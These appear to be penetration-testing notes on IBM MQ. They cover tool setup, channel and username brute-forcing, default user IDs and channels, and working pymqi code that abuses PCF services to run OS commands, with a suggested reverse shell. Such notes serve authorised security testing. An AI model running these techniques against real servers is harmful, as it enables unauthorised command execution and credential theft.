7.6 KiB
Practical IBM MQ Penetration Testing notes
In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them.
Step 1: Installing prerequisities
Pre-requisites: IBM MQ Client
- Download the IBM MQ V9.0.0.4 LTS Clients - the file should be named:
9.0.0.4-IBM-MQC-LinuxX64.tar.gz
(9.0.0.4 Client install image for IBM MQ on Linux X86-64) - size: 397MB - Extract it to whatever directory.
- Install debian/Kali/Ubuntu pre-requisities
apt install -y python-dev rpm
- Accept the license:
sudo ./mqlicense.sh -accept
orsudo ./mqlicense.sh -text_only
- Do the following:
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
Step 2: Pymqi & punch-q
Having properly installed all of the MQ Client dependencies, we can now proceed to installing pymqi
and punch-q
:
- Clone the punch-q repo:
git clone https://github.com/sensepost/punch-q
- Install them:
# pip install pymqi
# pip install -r requirements.txt
# python setup.py install
- Before using
punch-q
specify MQ libraries path:
Either globally:
# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
# sudo ldconfig -v
or temporarily:
# export LD_LIBRARY_PATH=/opt/mqm/lib64
One stop shop script installing IBM MQ Client libraries
Assuming we have 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
file in our current directory, following script applies on Kali x64 linux:
apt install -y python-dev rpm pcregrep
tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh
cat /tmp/mqlicense.sh > mqlicense.sh
rm /tmp/mqlicense.sh
yes | sudo ./mqlicense.sh -accept
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
pip install pymqi
echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
sudo ldconfig -v
ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf
git clone https://github.com/sensepost/punch-q
cd punch-q
pip install -r requirements.txt
python setup.py install
Step 2: Handy notes on where to focus
Internally:
Having found several running processes with names such as:
amqsvc.exe
, amqxssvn.exe
, amqrrmfa.exe
, amqmtbrn.exe
These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication.
Externally:
By using punch-mq
we can:
- Discover/Brute-Force available CHANNELS,
- Enumerate usernames (valid UserId fields)
- Enumerate Queue Manager names
- List available Channels or Queues as an authenticated user.
- PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user
- Issue OS Commands by the use of
PCFExecute
functionality
In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared:
- Hostname/IP address
- TCP Port, typically
1414/tcp
- Queue Manager name - easily obtained by the use of nmap scripts:
nmap -p 1414 -sV <host>
- Channel name (can be one of the below listed), at first start with:
SYSTEM.ADMIN.SVRCONN
- Username (list of default system usernames below)
- Password
Incorrect access credentials will result in pymqi
returning following response:
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED
1) Default channel names:
(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)
SYSTEM.ADMIN.SVRCONN
SYSTEM.AUTO.SVRCONN
SYSTEM.DEF.SVRCONN
SYSTEM.DEF.SERVER
SYSTEM.DEF.CLNTCONN
2) Default Userid's depending on target OS version:
OS Version | UserId |
---|---|
Linux/Unix/AIX | mqm |
Windows | MUSR_MQADMIN |
Other | mqadmin |
5) Important Administration QUEUE names:
SYSTEM.ADMIN.COMMAND.QUEUE
SYSTEM.DEFAULT.MODEL.QUEUE
SYSTEM.AUTH.DATA.QUEUE
6) Remote Code Execution
6.1. Programmable Command Format (PCF) Services
Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (Programmable Command Format) commands (on MQ v6+) that would give us OS command execution by the use a concept called services:
MQCMD_CREATE_SERVICE
,MQCMD_START_SERVICE
,MQCMD_STOP_SERVICE
,MQCMD_DELETE_SERVICE
That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects.
Using pymqi
or punch-mq
this is as simple as invoking following code (source: punch-mq ):
# create service
qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
mqstate.username, mqstate.password)
args = {
pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd),
pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args)
}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_CREATE_SERVICE(args)
# start the service
args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_START_SERVICE(args)
# Giving the service some time to live
time.sleep(wait)
# delete service
args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_DELETE_SERVICE(args)
qmgr.disconnect()
Incomming command will then be executed most likely as a root user. punch-mq
does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner.
If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on SYSTEM.DEFAULT.MODEL.QUEUE
template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24).
6.2. Use of Triggers
Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger.